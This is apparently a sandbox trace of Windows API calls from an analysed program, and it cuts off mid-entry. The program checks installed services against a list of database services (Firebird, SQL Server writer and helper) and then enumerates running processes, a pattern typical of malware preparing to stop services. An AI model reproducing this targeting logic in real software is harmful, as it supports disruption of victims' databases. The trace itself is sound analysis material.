[0233.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0233.544] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0233.544] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0233.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0233.544] lstrlenW (lpString="Audiosrv") returned 8 [0233.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0233.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0233.544] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0233.544] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0233.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0233.544] lstrlenW (lpString="BFE") returned 3 [0233.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0233.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0233.544] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0233.544] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0233.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0233.544] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0233.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0233.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0233.544] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0233.544] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0233.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0233.544] lstrlenW (lpString="CDPSvc") returned 6 [0233.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0233.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0233.544] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0233.544] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0233.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0233.544] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0233.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0233.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0233.544] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0233.544] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0233.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0233.544] lstrlenW (lpString="CryptSvc") returned 8 [0233.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0233.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0233.544] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0233.544] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0233.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0233.545] lstrlenW (lpString="DcomLaunch") returned 10 [0233.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0233.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0233.545] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0233.545] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0233.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0233.545] lstrlenW (lpString="DeviceAssociationService") returned 24 [0233.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0233.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0233.545] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0233.545] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0233.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0233.545] lstrlenW (lpString="Dhcp") returned 4 [0233.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0233.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0233.545] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0233.545] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0233.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0233.545] lstrlenW (lpString="Dnscache") returned 8 [0233.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0233.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0233.545] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0233.545] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0233.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0233.545] lstrlenW (lpString="DPS") returned 3 [0233.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0233.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0233.545] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0233.545] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0233.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0233.545] lstrlenW (lpString="DusmSvc") returned 7 [0233.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0233.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0233.545] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0233.545] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0233.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0233.545] lstrlenW (lpString="EventLog") returned 8 [0233.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0233.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0233.545] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0233.545] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0233.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0233.545] lstrlenW (lpString="EventSystem") returned 11 [0233.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0233.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0233.545] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0233.545] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0233.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0233.545] lstrlenW (lpString="FontCache") returned 9 [0233.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0233.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0233.545] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0233.545] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0233.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0233.546] lstrlenW (lpString="gpsvc") returned 5 [0233.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0233.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0233.546] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0233.546] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0233.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0233.546] lstrlenW (lpString="iphlpsvc") returned 8 [0233.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0233.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0233.546] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0233.546] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0233.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0233.546] lstrlenW (lpString="KeyIso") returned 6 [0233.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0233.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0233.546] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0233.546] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0233.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0233.546] lstrlenW (lpString="LanmanServer") returned 12 [0233.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0233.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0233.546] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0233.546] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0233.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0233.546] lstrlenW (lpString="LanmanWorkstation") returned 17 [0233.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0233.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0233.546] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0233.546] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0233.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0233.546] lstrlenW (lpString="lfsvc") returned 5 [0233.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0233.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0233.546] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0233.546] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0233.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0233.546] lstrlenW (lpString="lmhosts") returned 7 [0233.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0233.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0233.546] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0233.546] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0233.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0233.546] lstrlenW (lpString="LSM") returned 3 [0233.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0233.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0233.546] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0233.546] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0233.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0233.546] lstrlenW (lpString="MpsSvc") returned 6 [0233.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0233.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0233.546] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0233.546] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0233.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0233.547] lstrlenW (lpString="NcbService") returned 10 [0233.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0233.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0233.547] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0233.547] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0233.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0233.547] lstrlenW (lpString="netprofm") returned 8 [0233.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0233.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0233.547] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0233.547] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0233.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0233.547] lstrlenW (lpString="NgcSvc") returned 6 [0233.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0233.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0233.547] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0233.547] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0233.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0233.547] lstrlenW (lpString="NlaSvc") returned 6 [0233.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0233.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0233.547] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0233.547] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0233.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0233.547] lstrlenW (lpString="nsi") returned 3 [0233.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0233.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0233.547] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0233.547] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0233.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0233.547] lstrlenW (lpString="PcaSvc") returned 6 [0233.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0233.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0233.547] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0233.547] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0233.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0233.547] lstrlenW (lpString="PlugPlay") returned 8 [0233.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0233.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0233.547] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0233.547] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0233.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0233.547] lstrlenW (lpString="Power") returned 5 [0233.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0233.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0233.547] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0233.547] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0233.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0233.547] lstrlenW (lpString="ProfSvc") returned 7 [0233.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0233.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0233.547] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0233.548] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0233.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0233.548] lstrlenW (lpString="RpcEptMapper") returned 12 [0233.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0233.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0233.548] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0233.548] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0233.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0233.548] lstrlenW (lpString="RpcSs") returned 5 [0233.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0233.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0233.548] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0233.548] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0233.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0233.548] lstrlenW (lpString="SamSs") returned 5 [0233.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0233.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0233.548] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0233.548] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0233.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0233.548] lstrlenW (lpString="Schedule") returned 8 [0233.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0233.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0233.548] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0233.548] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0233.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0233.548] lstrlenW (lpString="SecurityHealthService") returned 21 [0233.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0233.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0233.548] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0233.548] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0233.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0233.548] lstrlenW (lpString="SENS") returned 4 [0233.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0233.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0233.548] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0233.548] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0233.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0233.548] lstrlenW (lpString="ShellHWDetection") returned 16 [0233.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0233.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0233.548] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0233.548] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0233.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0233.548] lstrlenW (lpString="Spooler") returned 7 [0233.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0233.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0233.548] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0233.548] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0233.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0233.548] lstrlenW (lpString="StateRepository") returned 15 [0233.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0233.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0233.549] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0233.549] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0233.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0233.549] lstrlenW (lpString="SysMain") returned 7 [0233.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0233.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0233.549] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0233.549] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0233.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0233.549] lstrlenW (lpString="SystemEventsBroker") returned 18 [0233.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0233.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0233.549] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0233.549] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0233.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0233.549] lstrlenW (lpString="Themes") returned 6 [0233.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0233.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0233.549] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0233.549] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0233.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0233.549] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0233.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0233.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0233.549] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0233.549] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0233.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0233.549] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0233.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0233.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0233.549] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0233.549] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0233.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41c14c0 | out: hHeap=0x4f0000) returned 1 [0233.549] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x49c [0233.551] Process32FirstW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0233.552] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0233.552] lstrlenW (lpString="System") returned 6 [0233.552] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0233.552] lstrlenW (lpString="smss.exe") returned 8 [0233.552] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.553] lstrlenW (lpString="csrss.exe") returned 9 [0233.553] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0233.553] lstrlenW (lpString="wininit.exe") returned 11 [0233.553] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.553] lstrlenW (lpString="csrss.exe") returned 9 [0233.553] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0233.554] lstrlenW (lpString="winlogon.exe") returned 12 [0233.554] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0233.721] lstrlenW (lpString="services.exe") returned 12 [0233.721] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0233.721] lstrlenW (lpString="lsass.exe") returned 9 [0233.721] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0233.721] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0233.722] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, 